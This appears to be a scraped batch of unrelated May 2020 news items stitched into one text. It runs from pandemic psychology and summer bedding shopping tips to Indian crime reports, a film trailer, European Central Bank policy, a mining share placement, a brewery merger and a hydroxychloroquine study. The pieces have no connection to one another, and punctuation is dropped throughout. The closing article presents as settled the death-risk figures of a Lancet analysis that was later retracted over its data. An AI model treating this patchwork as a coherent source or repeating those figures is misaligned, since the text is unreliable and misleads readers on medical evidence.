Waiting for your pre-corona life to return sets you up for disappointment. You're much better off adapting to the new reality than fighting it.

The good news: Were moving toward having the emotional bandwidth to do just that. The initial spike in fear is starting to peter out, says health psychologist Dana Rose Garfin, Ph.D., an assistant adjunct professor in the school of nursing at the University of California, Irvine whos currently researching the social impacts of the pandemic.

Our brains perceive new threats as the scariest, so that fear wanes over time as people live in it.

And youll probably start to feel that life is less limited soon. By Wednesday, all US states will have started re-opening to some extent. Restaurants, gyms, and barber shops are open for business in some places at limited capacity. Other businesses are finding inventive solutionslike hosting drive-in movies on the side of barsto solve both their economic woes and our social woes.

But were really just starting to understand how tall the psychological tidal wave of the pandemic really is. "If there's one thing that has made this really distressing for people, it's the fact that it's novel. We don't know what's going to happen. And things are constantly changing," Garfin says. Even with states reopening, most of us dont feel like we have any better grip on whats really going on.

The psychological end to the pandemic

The two factors in what it will take to feel theres going to be a mental end to the pandemic: when well start to hear informative, streamlined messaging from officials all around, and how bad the recession is really going to be.

"Officials have been and continue to give varying information. People don't know what to believe and it's very confusing for them." Garfin explains. That muddiness over whether it is in fact safe to go to the newly reopened gym or head out camping for the weekend, whether we can actually see our friends if we stay 6 feet awaythere is mental exhaustion in being cautious, Garfin says. And until the American people hear a super clear and streamlined message of what is safe, we're going to see a continued increase in anxiety, she adds.

On the one hand, the lack of clarity is understandable. No one knows whats safe and lifting restrictions is really a trial-and-error in risk assessment. So hopefully well better understand what is truly allowed, socially, over the next few months. That will help ease some of the psychological burden.

But unarguably, everyone will feel the stress of a down economy. "Even if you didn't lose your job, you probably took a pay cut. And regardless of what you're making now, that is likely stressful for your situation. Across the socioeconomic line, were going to see the ripple effect of that in terms of mental health," Garfin says.

How long that stressor will last is up in the potentially-infected airwell be careening toward (or in) a recession at least until we have a vaccine, according to Federal Reserve Chairman Jerome Powell on 60 Minutes this week. But more than likely, itll be much longer since the World Economic Forum stated recently that we can expect a world-wide prolonged global recession thanks to the coronavirus.

People will not only have more financial stress over paying their mortgage and bills, but also less money to go out withwhatever "going out" even looks like in the future. Together, these will likely increase anxiety, depression, domestic abuse, loneliness, and isolation, Garfin points out.

So is there any good news?

It will get easier, though.

A second wave wont be quite as stressful since people will know more about what's ahead and how to deal with it. We've all had to figure out homeschooling kids, being productive working from home, filing for unemployment or small business loans, staying connected to family virtually, how to live without the gym or parties or weekly poker night.

And as those around us start to feel safer and less anxious, so will we. "We're very influenced by what our neighbors, friends, and family are doing," says Garfin. "The more people around you are doing something, the more you're going to do it."

Perhaps the silver lining of this whole experience is there are certain habits weve had to pick up during the pandemic that we all shouldve been doing anywaylike being vigilant about washing hands and not sharing germs. Even after temperature checks subside, a lot of COVID habits will likely stick and become normalized: wearing masks in public when youre sick; companies being flexible about working from home; perhaps even opting into spending more time doing things at home, like cooking and home workoutsnow that we all know how to them.

But the most important point we should be taking away from the pandemic while we wait for the end and after: We need to actively take better care of our health, both physical and mental.

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T emperatures are set to rise above 30 degrees Celsius this week, which is great news for Brits, who rarely get to be smug about the weather.

But the change of weather can be less fun at night, in a country where air-con is redundant most of the year round.

And with the added stress of lockdown, the last thing you need it a struggle to get to sleep.

So here are some tips and treats to prepare your bedroom for a sweltering summer, and guarantee a breezy sleep.

1. Not-so-hot water bottle

A simple trick of hotel-suite luxury is transforming your hot water bottle into an ice pack.

Simply fill it as usual and leave it to chill in the freezer for a few hours. Slip that between your sheets just before you climb into bed, and they will feel like a fresh relief (rather than a suffocating cocoon).

You could also just stick your sheets in the freezer if you have space.

YuYu Bottle is home to the super-long water bottle (81cm), coming in everything from funky snake designs the kids will love, to this excessive cashmere casing we couldn't not include.

YuYu 10% classic - 95, yuyubottle

YuYu cashmere hot water bottle collection / YuYu Bottle

The Hot Water Bottle Shop specialises in eco-friendly rubberless hot water bottles, made from recyclable thermoplastics. They also come in adorable designs.

1-litre heart-shaped velvet rubberless hot water bottle - 19.99, hotwaterbottleshop

The Hot Water Bottle Shop

2. Airy pyjamas

Loose pyjamas are your friend. The right fabric can actually be more comfortable than nudity, as it will remove that sticky perspiration from your skin.

Natural materials like cotton are the obvious go-to. Heavy sweaters, however, may want to look at bamboo, which has a much higher absorbancy than cotton, meaning it is less likely to stick.

There are also definite eco-benefits to buying bamboo. It is a self-sufficient crop that uses one third of the water than cotton needs to grow, as well as requiring no pesticides (while non-organic cotton requires many). It is worth noting, however, that bamboo fabric is still chemically processed most of the time, and typically done so thousands of miles away.

Cotton Floral Boderie Nightie - 65, thewhitecompany

The White Company

Multi Stripe 100% Organic Cotton Pyjama Set, 40, johnlewis

John Lewis

Reanna Bamboo Pyjama Top (19) and Trousers (22) - wearethought

Thought

Let's be totally honest: silk is the one. Not only do you look like Aphrodite but you feel like a cool stream of soft water is constantly licking your skin. You have to pay for it though.

There is much to love about these 22 Momme long silk pyjamas for men (except for the price, but first-time buyers get 10% off) - 170.10, lilysilk

Lily Silk

3. Fans

Fans are a quick-fix, if you don't mind the distant whirring and dancing dust they can cause.

Copper Pedestal Fan - 48.99, therange

The Range

For the light-sleepers, silent air fans will cost more, but can create a powerful airflow without a single blade. The luxury price category will also earn you a remote control and sleep timer. They also look futuristic and cool.

Dyson Cool AM06 Desk Fan - 249, johnlewis

John Lewis

TIP: If you position your fan across from a window, the outside breeze and fan current combine to make a cooling cross-breeze.

4. Insulated water bottles

If you sweat in the night, you have to make sure you drink what you lose, or you will wake up with a pounding headache.

Good-quality water bottles not only keep the dust out, but the cool in - go with aluminium - lightweight and long-lasting.

Chilly's artist series 500ml - 30, chillysbottles

Chilly's Bottles

5. Essential oils

These will not do much for temperature control, but can offer a little sedation. Scent can be influential. Our smell receptors are directly wired to the brain's centres of memory and emotion via the olfactory nerve. This is why a slight whiff can evoke very powerful memories and feelings, unique compared to the other senses.

Wellbeing Pod Essential Oil Diffuser - 90, neomorganic

Aromatherapy is the use of essential oils for medicinal purposes, one of which is commonly sleep them. A diffuser is a great way to spread sedative smells through your room.

Neom Organics

As for which scents to buy, "the Sleep Doctor" Dr. Michael Breus recommends lavender, vanilla, rose, geranium, jasmine, sandalwood and citrus for sleeping.

TIP: If you cannot afford a diffuser, simply rubbing a few drops of these essential oils into the skin on your wrists, chest or temples will have an incredibly soothing effect, while preserving your oil stocks for years.

Aromatherapy Associates' 10 Miniature Bath & Shower Oil Collection - 40, spacenk

Space NK

6. Breathable sheets

Pure cotton sheets are naturally breathable, and tend to become less clammy than synthetic alternatives when your body temperature rises. Price goes up with thread count: the higher the count, the smoother the fabric.

Stick to light-coloured linen for a cooler wrap.

The White Company offers a bargain full double set of Egyptian cotton bed linen (200 thread count) for 85, thewhitecompany.

The White Company

TIP: In the morning, pull the bedsheets back to help your bedding breathe and freshen up while out of use.

7. Lighter duvets

Bedding measurements are far more complicated than cm and kg, with questions of thread count and tog that mean nothing to the lay person.

Luckily, we've got the duvet intel from Christy England's head of design, Lucky Ackroyd: "For summer, a lighter tog of 4.5 is perfect. If you like something a little heavier but still breathable - try a 10.5 tog."

Superior Soft Touch Anti Ellergy 4.5 Tog Double Duvet - 66.50, Christy

Christy

8. Temperature-regulating mattresses

Mattresses can have a surprising influence over our body temperature, depending on how aerated and flexible they are.

"Generally speaking, a mattress with a high content of natural fillings such as wool, cotton or bamboo is often a great choice for those struggling to sleep in the heat as they tend to be cooler as well as being naturally hypoallergenic," advises Jonathan Warren, director at Time4Sleep.

Sleep Sanctuary Wordsworth Silk 2000 Pocket Sprung Mattress - 379, time4sleep

Time4Sleep

Which?'s choice is the Emma original mattress which has "Airgocell" foam as well as a temperature- and moisture-regulating top cover. It's also "the most-awarded mattress" in the country - 429.00, emma-mattress

Emma Mattress

9. Shutters and blinds

Blinds and shutters are multipurpose, acting not just as barriers to light, but to outdoor temperatures as well.

Jason Peterkin, director at 247 Blinds, recommends wooden venetian blinds or plantation shutters for temperature control. You can leave them closed to keep out the heat, while adjusting the slats to let in light as needed. "The wood also acts as a natural heat conductor, helping to keep the warm air out during the summer months".

Venetian, Ecowood, Penthouse Fine Grain Bling - from 10.22, 247blinds

247 Blinds

Daytona, Dolphin Grey Plantation Shutter - from 97.05, 247blinds

247 Blinds

Blackout blinds can make an enormous difference to a night's sleep. The thick fabric does not only block all outdoor light from entering, but can also significantly keep indoor temperatures down during a heatwave. The danger of these is sleeping through a glorious day.

Pamuk Rose Roman Blinds (blackout) - from 11.95, blindsdirect

Blinds Direct

TIP: During the day, it's a good idea to leave doors and windows open to boost air circulation and freshness. Attic-dwellers, try opening the hatch. Hot air rises.

On that note, sweet dreams.
Yogi Adityanath

Lucknow: Police have registered an FIR after receiving a WhatsApp message threatening to kill Uttar Pradesh Chief Minister Yogi Adityanath.

The sender used objectionable language against Adityanath in the message sent on police headquarter's WhatsApp number, calling him a threat to particular community, a senior police officer said.

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Yogi Adityanath The unknown sender threatened to blow him up with a bomb, the officer said.

Senior officers were informed when the message was received around Thursday midnight.

An FIR was lodged against him. Police are investigating if this was an act of mischief or a conspiracy, the official said.

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They are looking into the call details of the number from which the message was sent, he said.
A 50-year-old man was burnt to death after his car caught fire at a flyover in Mangolpuri area, police said on Friday.

The deceased has been identified as Ram Kishan, a resident of Kerala, they said.

The police received information about the incident on Thursday. The vehicle was found at the flyover near Kali Mata Mandir in Outer Ring road, a senior police officer said.

The driver was found on the seat in a burnt condition. He was declared brought dead when rushed to the hospital, the officer said.

The vehicle was carrying some plastic material. It had a CNG kit and the cause of fire is being ascertained, police said.

A case under relevant sections of IPC has been registered at the Mangolpuri Police Station and investigation is underway, they added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
It was just yesterday when Ayushmann Khurrana and Amitabh Bachchan were having a banter on a video call with director Shoojit Sircar and they announced that the trailer of Gulabo Sitabo will be out on May 22. At 4:00 PM today, the trailer dropped online and to be honest, it looks like a fun, roller-coaster ride.

Ayushmann and Big B's movie is all set to be launched on an OTT platform. The movie is set in Lucknow, and the trailer shows Ayushmann as a tenant while Big B plays is shown as the owner of a ramshackle haveli.

The trailer in itself is rib-tickling and we can see both the actors continuously passing sarcastic comments on each other. It starts with Mirza (Amitabh Bachchan) who is shown as the owner of the haveli, stealing bulbs from his tenant, called Baankey (Ayushmann Khurrana), who starts complaining about it later. The haveli is Mirza's heart and soul and so he tells Baankey to either pay more money as rent or leave the place but Baankey does not give up. The rivalry between the two goes on, to an extent that Mirza finally seeks legal advice on how he can get rid of the tenant and that's where we see Vijay Raaz's entry, where he changes the whole ballgame of this scenario, creating more ruckus with a good laugh. In the end, we see Baankey asking Mirza to adopt him but Mirza shoos him away.

 A Rising Sun Films Production

The story sounds like a classic landlord-tenant story and we can't wait for it to release in the digital world, amidst lockdown. The posters of this film too unveil a realistic story, which makes us believe that it has a good story to portray. Produced by A Rising Sun Films production, directed by Shoojit Sircar and written by Juhi Chaturvedi, this movie shows a quirky slice of drama which is just unmissable. The movie will be released in more than 200 countries and territories digitally. Earlier, the movie was all set to make it big in theatres on April 17 2020, but since the theatres were shut to control the spread of the virus, the movie got a digital release instead and will premiere on June 12 2020.



Let's look at how the people are reacting to Gulabo Sitabo's trailer.

Miliye Baankey se! Hoshiyaari ki nadi inhi ke yahan se behti hai.

Trailer out now: https://t.co/uvTGlMMAZW

Catch #GiboSiboOnPrime on June 12 for its World Premiere, @PrimeVideoIN #GulaboSitaboTrailer @SrBachchan @ShoojitSircar  Ayushmann Khurrana (@ayushmannk) May 22, 2020

This was so funny and amazing 

Now can't wait to watch the entire film  Ankita (@Ankita_2166) May 22, 2020

the trailer surpassed my expectations as always. this movie is going to do GREAT. also it would mean a lot if you could just reply back with just "happy birthday laila". it's my bestfriend's birthday tomorrow and nothing would make her happier than getting noticed by her fave  richa (@richaaayy) May 22, 2020

waiting for it and now it is... good luck @ayushmannk  Akhilendra Singh (@akhilendra5262) May 22, 2020

Bhaisahab yeh to Gajab hai  Mayur SM (@sm_mayur) May 22, 2020

Legend of bollywood and legend of content in the same movie  AbHi RajawaT (@AbhiRajawat19) May 22, 2020

Such a fun rollercoaster ride excited can't wait till 12th June 2020 all the best @ayushmannk @SrBachchan @ShoojitSircar And team #GulaboSitabo   ganesh malik (@ganeshm1331) May 22, 2020

please lets just discuss Ayushmann khurranas authentic af accent and those expressions fuck asjkajskakam #GulaboSitabo  ZM  (@itsmuskaaann) May 22, 2020

#GulaboSitabo I'm actually amazed by how I was captivated by the #GulaboSitaboTrailer and how I want to see more of this pair in action, like their constant bickering is just so funny  Khullu ki ammi-  deserves the (@mybabystrongest) May 22, 2020

we need gulabo sitabo to be released in movie halls not online. this movie has great potential, and it'd be wasted if it's released in an online platform, because it wont have the same exposure. @ShoojitSircar @ayushmannk @SrBachchan #GulaboInTheatres  raj // nsfr (@bareiIlykibarfi) April 28, 2020

So while we wish we were watching it at a theatre, were absolutely rooting for this jodi!
The Global Carnosic Acid Market Outlook 2019-2024 offers detailed coverage of carnosic acid industry and presents main market trends. The market research gives historical and forecast market size, demand, end-use details, price trends, and company shares of the leading carnosic acid producers to provide exhaustive coverage of the market for carnosic acid. The report segments the market and forecasts its size, by volume and value, on the basis of application, by products, and by geography.

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(TNS)  Portsmouth, N.H., is interested in learning more about a Massachusetts-based COVID-19 sewage testing program, which could alert to the scope of an outbreak and enable officials to better anticipate impacts on infrastructure, like hospital capacity.Biobot Analytics, born out of the Massachusetts Institute of Technology, is a startup measuring sewage to map population health in communities. In collaboration with researchers at MIT, Harvard University and Brigham and Women's Hospital, Biobot recently launched a pro bono program to trace COVID-19 across the U.S. through sewage testing.The pro bono program has since reached capacity, Biobot told Portsmouth's City Engineer Terry Desmarais in an email this week, but in June, it will begin taking orders from communities with adjusted pricing."New studies show that SARS-CoV-2, the virus causing COVID-19, is shed in stool, meaning it's collecting in our city sewers," Biobot's website says. "We are establishing protocols to test sewage for SARS-CoV-2. If successful, this data will give communities a dynamic map of the virus as it spreads to new places."Per its website, Biobot says data from sewage can enable communities to measure the scope of an outbreak independent from patient testing or hospital reporting; provide decision support for officials determining the timing and severity of public health interventions to mitigate the overall spread of the disease; better anticipate likely impact on hospital capacity in order to inform readiness; track the effectiveness of interventions and measure the wind-down period of the outbreak; and provide an early warning for reemergence of the coronavirus.Prior to Biobot's work tracing the novel coronavirus, it primarily partnered with local governments to track opioids in wastewater."The question is, is what we can do with the data beneficial enough to deal with the costs associated with it?" Desmarais said Wednesday, noting city officials will evaluate benefits of participation once they have more information from the company.Biobot ships participating communities and facilities a sampling kit and sample collection protocols. After collection, the samples are shipped back to Biobot's laboratories for processing. Results are then communicated back to communities.Biobot says it recommends a testing frequency of once a week.Desmarais brought up Portsmouth's interest in the effort during Monday night's City Council meeting, when Councilor Deaglan McEachern asked if any thought had been given to wastewater testing at the municipal level.In an interview, Desmarais said Biobot claims it can "predict resurgence about a week before it's starting to be seen at the health care level in the community."Desmarais said he is "very interested" to learn what some of the other participating cities are doing with the data collection  whether they're using it to notify local hospitals, coordinate with health officials, supplement available local and state data, or all of the above. Researchers have said they can get a potential case count based on the amount of genetic material detected, the number of customers per system and the volume of wastewater. In areas where wastewater testing has been done successfully, researchers have been able to detect COVID-19 hot spots days before the cases appear in hospital admission and clinical testing data. That being said, methods are constantly being refined as more information is learned about the virus.The city would likely test at its Peirce Island wastewater treatment plant, Desmarais said, which captures "primarily residential"  the entire city of Portsmouth with the exception of Pease International Tradeport..Desmarais noted there are a lot of specificities not accounted for in sewage testing results, such as whether individuals who make up the testing sample are symptomatic or asymptomatic, for example. He called it "broad-based testing."
Airlines called for the return of international flights at a symposium on tourism on Thursday.

Tourism firms want to boost Viet Nam as a safe destination to attract visitors after the pandemic.  Photo hanoimoi.com

More than 50 leaders from the tourism industry attended the event held yesterday in Ha Noi by the Viet Nam National Administration of Tourism (VNAT) in collaboration with the Government economic roundtable Board IV and the Tourism Advisory Board (TAB).

At the symposium aiming to find solutions to recover the tourism industry after the COVID-19 pandemic, representatives of Vietnam Airlines, Vietjet Air and Bamboo Airways said foreign markets accounted for nearly half of their revenue and they wanted to open these routes soon.

Dinh Viet Phuong, deputy general director of VietJet Aviation JSC, said he hoped Viet Nam could open the tourism international market as some countries have good prevention and well control the pandemic.

The international market accounts for nearly 50 per cent of revenue in the tourism industry in the country, said Phuong.

Phuong also expressed Vietjets wish to work with travel firms on possible stimulus packages, suggesting students should have their summer vacation time changed to aid the local tourism industry.

At the symposium, most hospitality and tourism firms said they wanted a simulate package to boost local tourism.

BIM Groups vice president Doan Thi Thanh Mai said: To the end of the year, it is very difficult to have international visitors, suggesting the industry should focus on domestic customers.

Mai said she thought it was a chance to restructure local tourism with a focus on local visitors.

"Many local tourists have been attracted to nearby countries such as Thailand, Malaysia or Singapore with their cheaper, more attractive and better services," she said.

Mai suggested local tourism build a nationwide campaign to promote Viet Nam as a safe destination and create official portals for tourists to learn about famous tourist spots and landscapes in the country.

Agreeing with Mai, Le Khac Hiep, vice chairman of Vingroup said:  The period should be taken as the time to change the tourism industry for the better.

Hiep also said he thought Viet Nam should change working schedules and make it easier for families to travel by extending the number of holidays for employees without changing total working time.

Craig Douglas, vice president of investment firm Lodgis Hospitality Holdings said the country needed clear policies and to support large firms in the industry and related industries, suggesting building ties with partners like China and Taiwan, though he added that the domestic and Asian market cannot recover quickly, he said Viet Nam could gradually open its doors as a safe destination.

He said Viet Nam was in a good position because it succeeded in controlling COVID-19.

"The world needs to know this message, it needs to position Viet Nam as a safe haven. It is important that we act quickly and immediately. Launch marketing campaigns as quickly as possible," he said.

Steve Wolstenholme - Operation Manager, Nam Hoi An Development Company Limited (Hoiana) told the workshop: We need to pay attention to attract international visitors.

He said thought safety was a prerequisite and important message to attract international tourists and emphasised that Viet Nam needed to strengthen its position as a safe tourism paradise.''

Wolstenholme said that while New Zealand has been praised as it has just more than 1,000 infections and low mortality rates, Viet Nam has just more than 300 infections and no deaths. However, not many people know about this.

The manager said it was a great opportunity to promote the local tourism with such a position.

Tran Trong Kien, a member of the IV board and TABs chairman, said the tourism demand of the market was gradually recovering since the middle of April with more than 50 per cent of local tourists ready to travel again, according to TABs latest survey.  VNS

Safe haven status could revive Vietnam's tourism industry Safe haven tourism is one way for Vietnam to maximise tourism revenues while minimising risks posed by COVID-19 pandemic, according to investment fund VinaCapital.
FRANKFURT (Reuters) - The European Central Bank is ready to expand its Pandemic Emergency Purchase Scheme as early as June, if economic data warrant such a move, policymakers concluded in their April 30 meeting, the accounts of discussion showed on Friday.

It (the Governing Council) was fully prepared to increase the size of the PEPP and adjust its composition, and potentially its other instruments, if, in the light of information that became available before its June meeting, it judged that the scale of the stimulus was falling short of what was needed, the ECB said.

Policymakers agreed at the April meeting to provide loans at even more favourable terms but held back on big moves such as extending or expanding asset purchases, disappointing some market players.

The ECB will next meet on June 4 and many expect it to increase asses buys by as much as 500 billion euros ($545.15 billion) this year as the euro zone economy shrinks by around a tenth this year.
Sudbury, Ontario--(Newsfile Corp. - May 22, 2020) - Transition Metals Corp. (TSXV: XTM) ("Transition" or the "Company") is pleased to announce that it intends to raise up to an aggregate of $1,200,000 by way of a non brokered private placement financing consisting of up to 5,000,000 units (the "Units") at a price of $0.15 per Unit, for proceeds of up to $750,000 and up to 2,500,000 flow-through common shares (the "FT Shares") at a price of $0.18 per FT Share, for proceeds of up to $450,000 (collectively, the "Offering"). Each Unit will consist of one common share of the Corporation (each, a "Common Share") and one share purchase warrant (each, a "Warrant"). Each Warrant will entitle the holder to purchase one additional Common Share for a period of 24 months from closing at a price of $0.22. If, commencing on the date that is four months after the closing date, the closing price of the Common Shares on the TSX Venture Exchange (the "Exchange") is higher than $0.28 for 20 consecutive trading days, based on the Volume Weighted Average Price on daily closing, then on the date that is the 20th consecutive trading day (the "Acceleration Trigger Date") the expiry date of the Warrants will be accelerated to the date that is 20 business days after the Acceleration Trigger Date provided the Corporation, within three trading days of the Acceleration Trigger Date, issues a news release announcing the acceleration of the expiry date and delivers or sends by electronic transmission a copy of such news release to the Warrant holders and the finders.

A finder's fee may be paid in connection with the placement to finders, as determined by mutual agreement between the Corporation and the finders and subject to regulatory approval. The finders' fee will consist of 7% cash warrants for Units or Flow Through shares sold to investors introduced by such finders, and non transferable share purchase warrants equal to 7% of such Units or Flow Through Shares sold to investors ("Compensation Warrants"). The Compensation Warrants will permit the purchase of one Common Share for 24 month from closing at a price of $0.15.

Proceeds from the Units will be used for exploration and working capital purposes. The securities issued in connection with the Offering, including any Common Shares issued upon exercise of the Warrants, will be subject to a four-month restricted resale period and applicable securities legislation hold periods outside of Canada from the closing date. Completion of the private placement will be subject to all necessary approvals, including the approval of the TSX Venture Exchange. There can be no assurance that the private placement will be completed as proposed or at all.

About Transition Metals Corp

Transition Metals Corp (TSXV: XTM) is a Canadian-based, multi-commodity project generator that specializes in converting new exploration ideas into discoveries. The award-winning team of geoscientists has extensive exploration experience which actively develops and tests new ideas for discovering mineralization in places that others have not looked, often allowing the company to acquire properties inexpensively. Joint venture partners earn an interest in the projects by funding a portion of higher-risk drilling and exploration, allowing Transition to conserve capital and minimize shareholder's equity dilution.

Cautionary Note on Forward-Looking Information

Except for statements of historical fact contained herein, the information in this news release constitutes "forward looking information" within the meaning of Canadian securities law. Such forward-looking information may be identified by words such as "plans", "proposes", "estimates", "intends", "expects", "believes", "may", "will" and include without limitation, statements regarding estimated capital and operating costs, expected production timeline, benefits of updated development plans, foreign exchange assumptions and regulatory approvals. There can be no assurance that such statements will prove to be accurate; actual results and future events could differ materially from such statements. Factors that could cause actual results to differ materially include, among others, metal prices, competition, risks inherent in the mining industry, and regulatory risks. Most of these factors are outside the control of the Company. Investors are cautioned not to put undue reliance on forward-looking information. Except as otherwise required by applicable securities statutes or regulation, the Company expressly disclaims any intent or obligation to update publicly forward-looking information, whether as a result of new information, future events or otherwise.

Further information is available at www.transitionmetalscorp.com or by contacting:

Scott McLean

President and CEO

Transition Metals Corp

Tel: (705) 669-1777

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

THIS PRESS RELEASE, PROVIDED PURSUANT TO APPLICABLE CANADIAN REQUIREMENTS, IS NOT FOR DISTRIBUTION TO UNITED STATES NEWS SERVICES OR FOR DISSEMINATION IN THE UNITED STATES, AND DOES NOT CONSTITUTE AN OFFER OF THE SECURITIES DESCRIBED HEREIN. THESE SECURITIES HAVE NOT BEEN REGISTERED UNDER THE UNITED STATES SECURITIES ACT OF 1933, AS AMENDED, OR ANY STATE SECURITIES LAWS, AND MAY NOT BE OFFERED OR SOLD IN THE UNITED STATES OR TO U.S. PERSONS ABSENT REGISTRATION OR APPLICABLE EXEMPTION FROM REGISTRATION REQUIREMENTS.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/56376
Vijayawada: There seems to be no let-up in surge of coronavirus cases in Andhra Pradesh as 45 new confirmed infections and the death of a Covid-19 patient were reported on Thursday.

The health department said that the state had 718 active cases and 1,680 patients were discharged out of a total of 2,452. A Covid-19 patient from East Godavari reportedly lost his life to the disease, taking the death toll to 55.

Among new confirmed infections, four cases with two each from Chittoor and Nellore, were all returnees from Koyembedu in Tamil Nadu.

The health department reported that of the total positive cases, 153 cumulative positive cases were people from other states like Odisha 10, Maharashtra 101, Gujarat 26, Karnataka 1, West Bengal 1, Rajasthan 11 and Tamil Nadu 3. Of them, 128 are active cases at present.

Nellore district reported 18 new Covid-19 cases taking total cases to 201. Of these new cases, 12 were from Sullurpeta while the remaining were from Araveedu, Sangam and Usman Sahebpeta in Nellore.

East Godavari registered the first death of a Covid-19 patient on Wednesday. A 53-year-old man from Gollalamamidada village, Pedapudi mandal, who used to work as a clerk in a local hotel and also as a photographer, with no recent travel history, died of the virus.

Sources said that he was a diabetic and suffered from fever and respiratory problems in the last four days. On Wednesday afternoon, he was admitted to a government hospital at Kakinada with serious respiratory problems and died within 40 minutes of his admission.

District medical and health officer, Dr. B. Satya Suseela, said that soon after his admission, his swab samples were collected and sent for testing, and by the time his test results tested positive for the virus, he breathed his last.

Government hospital authorities said that doctors and nurses who treated the man were sent to quarantine.

Pedapudi tahsildar, K. Rajya Lakshmi, said that the man had not taken any treatment at any hospital in the mandal and added that his funeral was performed with Covid-19 protocol at his native village and only two persons were allowed to attend it.

Health personnel collected swab samples of 16 contacts of the deceased and sent them for testing. The police are finding out his contact history while the officials are clueless so far on the source of his infection.

The district administration declared Gollalamamidada a red zone and strict curbs were imposed on the movement of people.

In a separate development, a 23-year-old youth from Suryanagar at Amalapuram tested positive for Covid-19. He arrived at his hometown from Mumbai two days ago and volunteered to go to a quarantine centre at BVC College at Bhatlapalem.

When the health personnel collected his sample and tested it, he was found to be Covid-19 positive.

Amalapuram revenue divisional officer, B. Bhavani Sankar, said that the youth was sent to the Covid-19 hospital at Rajanagaram for treatment and added that 15 of his contacts were tested and found negative. Following this, the red zone area at Bandarulanka has been reduced to 200 meters.
M arstons and Carlsberg UK on Friday unveiled a new joint venture partnership to create a 780 million beer brewing giant.

The tie-up brings together Marstons beer arm with Carlsberg UKs brewing business. They are respectively valued at 580 million and 200 million.

Marstons brands include Wainwright and Hobgoblin, and Carlsberg UK brews and sells beers such as Carlsberg Danish Pilsner.

Marstons, whose pubs business is not part of the joint venture, gets a 40% stake in the Carlsberg Marston's Brewing Company plus 273 million. Carlsberg has a 60% stake in the new business.

Brewer Marstons, which has around 1400 pubs, said the 273 million will help it pay down debts, and the deal will let it concentrate on the estate while retaining a 40% interest in a larger, more attractive brewing business.

Ralph Findlay, chief executive of Marston's, said: This new partnership acknowledges Marston's strategy, position and consistent outperformance against the UK beer market, realising value for shareholders today, whilst retaining an interest in the future upside of the combined entity.

He added: "Marston's strong heritage, extensive distribution platform and established reputation for brewing and logistics excellence, together with Carlsberg UK's values, long history in beer, brand portfolio and scale, combine the best attributes of both to create a compelling beer business with an outstanding portfolio of global and local beer brands, proven brewing expertise, strong distribution network and wholesale opportunity.

Cees 't Hart, chief executive of Carlsberg Group, said: "The creation of the joint venture is an important step forward for our UK business. The joint venture's brand portfolio will allow us to offer a significantly stronger beer portfolio to our UK customers. In addition, the combined business will bring our customers wider choice, greater capacity, product innovation and marketing and distribution efficiency benefits."

The transaction is expected to complete in the third quarter this calendar year, subject to shareholder approval and competition clearance.
A study of 96,000 hospitalized coronavirus patients on six continents found that those who received an antimalarial drug promoted by President Donald Trump as a "game changer" in the fight against the virus had a significantly higher risk of death compared with those who did not.

People treated with hydroxychloroquine, or the closely related drug chloroquine, were also more likely to develop a type of irregular heart rhythm, or arrhythmia, that can lead to sudden cardiac death, it concluded.

The study, published Friday in the medical journal the Lancet, is the largest analysis to date of the risks and benefits of treating covid-19 patients with antimalarial drugs. Like earlier smaller studies, it delivered disappointing news to a world eager for promising treatments for the novel coronavirus as the global death toll grows to more than 300,000. While doctors have refined how they treat the disease, they have yet to discover a magic bullet against a virus for which humans have no known immunity.

The Lancet analysis is based on a retrospective analysis of medical records, rather than a controlled study in which patients are divided randomly into treatment groups - the method considered the gold standard of medicine. But the sheer size of the study was convincing to some scientists.

"It's one thing not to have benefit, but this shows distinct harm," said Eric Topol, a cardiologist and director of the Scripps Research Translational Institute. "If there was ever hope for this drug, this is the death of it."

David Maron, director of preventive cardiology at the Stanford University School of Medicine, said that "these findings provide absolutely no reason for optimism that these drugs might be useful in the prevention or treatment of covid-19."

While past studies also found scant or no evidence of benefits from hydroxychloroquine, reports have mounted of potentially dangerous heart problems associated with its use. As a result, the Food and Drug Administration last month warned against the use of the drug outside hospital settings or clinical trials.

The new analysis - by Mandeep Mehra, a Harvard Medical School professor and physician at Brigham and Women's Hospital, and colleagues at other institutions - included patients with a positive laboratory test for covid-19 who were hospitalized between Dec. 20, 2019, and April 14, 2020, at 671 medical centers worldwide. The mean age was 54 years, and 53% were men. Those who were on mechanical ventilators or who received remdesivir, an antiviral drug made by Gilead Sciences that has shown promise in decreasing recovery times, were excluded.

Mehra said in an interview that the widespread use of antimalarials for covid-19 patients was based on the idea of "a desperate disease demands desperate measures," but that we have learned a hard lesson from the experience about the importance of first doing no harm.

In retrospect, Mehra said, using the drugs without systematic testing was "unwise."

"I wish we had had this information at the outset," he said, "as there has potentially been harm to patients."

Nearly 15,000 of the 96,000 patients in the analysis were treated with hydroxychloroquine or chloroquine alone or in combination with a type of antibiotics known as a macrolide, such as azithromycin or clarithromycin, within 48 hours of their diagnosis.

The difference between patients who received the antimalarials and those who did not was striking.

For those given hydroxychloroquine, there was a 34% increase in risk of mortality and a 137% increased risk of a serious heart arrhythmias. For those receiving hydroxychloroquine and an antibiotic - the cocktail endorsed by Trump - there was a 45% increased risk of death and a 411% increased risk of serious heart arrhythmias.

Those given chloroquine had a 37% increased risk of death and a 256 percent increased risk of serious heart arrhythmias. For those taking chloroquine and an antibiotic, there was a 37% increased risk of death and a 301% increased risk of serious heart arrhythmias.

Cardiologist Steven Nissen of the Cleveland Clinic said the new data, combined with data from smaller previous studies, suggests that the drug "is maybe harmful and that no one should be taking it outside of a clinical trial."

Jesse Goodman, a former FDA chief scientist who is now a Georgetown University professor, called the report "very concerning." He noted, however, that it is an observational study, rather than a randomized controlled trial, so it shows correlation between the drugs and certain outcomes, rather than a clear cause and effect.

Peter Lurie, a former top FDA official who now heads the Center for Science in the Public Interest, called the report "another nail in the coffin for hydroxychloroquine - this time from the largest study ever."

He said it was time to revoke the emergency use authorization issued by the FDA, which approved the drug for seriously ill patients who were hospitalized or for whom a clinical trial was not available.

Michael Felberbaum, a spokesman for the FDA, said Friday that the agency generally "does not comment on third-party research" but that an emergency use authorization may be revised or revoked under certain circumstances, such as when there are linked or suspected adverse events, new data about effectiveness, or changes in the risk-benefit assessment of the drug.

